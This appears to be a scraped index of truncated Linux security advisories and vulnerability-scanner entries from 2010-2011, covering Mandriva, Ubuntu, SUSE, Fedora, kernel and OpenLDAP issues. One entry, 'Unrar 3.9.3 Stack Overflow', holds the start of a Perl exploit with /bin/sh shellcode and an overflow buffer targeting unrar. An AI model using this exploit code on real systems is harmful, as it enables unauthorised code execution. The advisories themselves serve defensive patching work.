MDVA-2011:093-1 : psmisc

This is a bugfix and maintenance update of the psmisc packages that addresses the following issues: Fixed bug with fuser is returning an incorrect return value when using -s option 64846 Update: Packages for 2010.2 is also being provided. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been...

Ubuntu 10.04 LTS : linux-lts-backport-natty vulnerabilities (USN-1256-1)

It was discovered that the /proc filesystem did not correctly handle permission changes when programs executed. A local attacker could hold open files to examine details about programs running with higher privileges, potentially increasing the chances of exploiting additional vulnerabilities...

Linux - Means Freedom [The Hacker News Magazine] October 2011 Issue Released

Linux - Means Freedom The Hacker News Magazine October 2011 Issue Released Dear Readers, We here at The Hacker News were very humbled to be given the opportunity to celebrate 10 millions hits to the website. Wow! We are so very grateful for your support and as I told you last month, I don't think...

Linux - Means Freedom [The Hacker News Magazine] October 2011 Issue Released

Linux - Means Freedom The Hacker News Magazine October 2011 Issue Released Dear Readers, We here at The Hacker News were very humbled to be given the opportunity to celebrate 10 millions hits to the website. Wow! We are so very grateful for your support and as I told you last month, I don't think...

Unrar 3.9.3 Stack Overflow

!/usr/bin/perl =head1 TITLE Winrar http://www.shell-storm.org/shellcode/files/shellcode-752.php use constant SHELLCODE = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" . "\x73\x68\x68\x2f\x62\x69\x6e\x89" . "\xe3\xb0\x0b\xcd\x80"; use constant BUFF = '-' . '3lrvs' x 820; $pname = "/usr/bin/unrar"; die "-File...

Mandriva Linux Security Advisory : krb5-appl (MDVSA-2011:117)

A vulnerability was discovered and corrected in krb5-appl : ftpd.c in the GSS-API FTP daemon in MIT Kerberos Version 5 Applications aka krb5-appl 1.0.1 and earlier does not check the krb5setegid return value, which allows remote authenticated users to bypass intended group access restrictions, an...

Linux DBus-GLib / NetworkManager / ModemManager privilege escalation

Access flags for exported object are not checked...

kernel: ima: fix add LSM rule bug

The imalsmruleinit function in security/integrity/ima/imapolicy.c in the Linux kernel before 2.6.37, when the Linux Security Modules LSM framework is disabled, allows local users to bypass Integrity Measurement Architecture IMA rules in opportunistic circumstances by leveraging an administrator's...

PT-2012-1497 · Linux +1 · Linux Kernel +1

Name of the Vulnerable Software and Affected Versions: Linux kernel versions prior to 2.6.37 Description: The issue allows local users to bypass Integrity Measurement Architecture IMA rules under certain circumstances when the Linux Security Modules LSM framework is disabled. This can happen when...

Mandriva Linux Security Advisory : openldap (MDVSA-2011:055)

Multiple vulnerabilities has been identified and fixed in openldap : chain.c in back-ldap in OpenLDAP 2.4.x before 2.4.24, when a master-slave configuration with a chain overlay and ppolicyforwardupdates aka authentication-failure forwarding is used, allows remote authenticated users to bypass...

[SECURITY] Fedora 14 Update: policycoreutils-2.0.85-19.fc14

Security-enhanced Linux is a feature of the Linux=C2=AE kernel and a number of utilities with enhanced security functionality designed to add mandatory access controls to Linux. The Security-enhanced Linux kernel contains new architectural components originally developed to improve the security o...

MDVA-2011:011 : mono-tools

A dependency problem was discovered with mono-tools in that it required a much older version of libxulrunner than the current latest one, this advisory addresses this problem. Packages for 2009.0 are provided as of the Extended Maintenance Program. Please visit this link to learn more:...

HITB MagazineVolume 1, Issue 5 Download !

Contents of HITB Magazine Issue 005: Linux Security: Investigating Kernel Return Codes with the Linux Audit System Network Security: Secure Shell Attack Measurement and Mitigation and ARP Spoofing Attacks & Methods for Detection and Prevention: Exploiting Web Virtual Hosting –Malware Infections...

Mandriva Linux Security Advisory : dhcp (MDVSA-2011:022)

A vulnerability has been found and corrected in dhcp : The DHCPv6 server in ISC DHCP 4.0.x and 4.1.x before 4.1.2-P1, 4.0-ESV and 4.1-ESV before 4.1-ESV-R1, and 4.2.x before 4.2.1b1 allows remote attackers to cause a denial of service assertion failure and daemon crash by sending a message over...

MDVA-2011:002 : cyrus-sasl

The saslauth daemon cyrus-sasl could crash under heavy load. Packages for 2009.0 are provided as of the Extended Maintenance Program. Please visit this link to learn more: http://store.mandriva.com/productinfo.php?cPath=149&productsid=490 The updated packages has been patched to address this...

SuSE 11.1 Security Update : Linux kernel (SAT Patch Numbers 3276 / 3280 / 3284)

This SUSE Linux Enterprise 11 Service Pack 1 kernel contains various security fixes and lots of other bugfixes. The following security issues were fixed : - local users could crash the system by causing a NULL deref in the keyctlsessiontoparent function. CVE-2010-2960 - local users could crash th...

MDVA-2010:241 : nss

A bug it the NSS source rpm package did not pull in the latest and required version of NSPR 4.8.6 when building NSS 61964. Additionally the rootcerts package was updated with the latest certdata.txt file from the mozilla cvs 20101202 and is also provided with this advisory. %NASLMINLEVEL 70300...

MDVA-2010:231 : x11-driver-input-evtouch

The evtouch Xorg driver was not working because its ABI Application Binary Interface was too old. The new version contains the necessary ABI updates, so the driver can now work correctly. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a...

MDVA-2010:228 : firefox

This is a maintenance and bugfix release of firefox that upgrades firefox to the 3.6.12 version and adds missing localization packages for the Georgian, Kurdish, Occitan and Serbian languages. Packages for 2009.0 are provided as of the Extended Maintenance Program. Please visit this link to learn...

RedHat Update for systemtap RHSA-2010:0894-01

Check for the Version of systemtap OpenVAS Vulnerability Test RedHat Update for systemtap RHSA-2010:0894-01 Authors: System Generated Check Copyright: Copyright c 2010 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under t...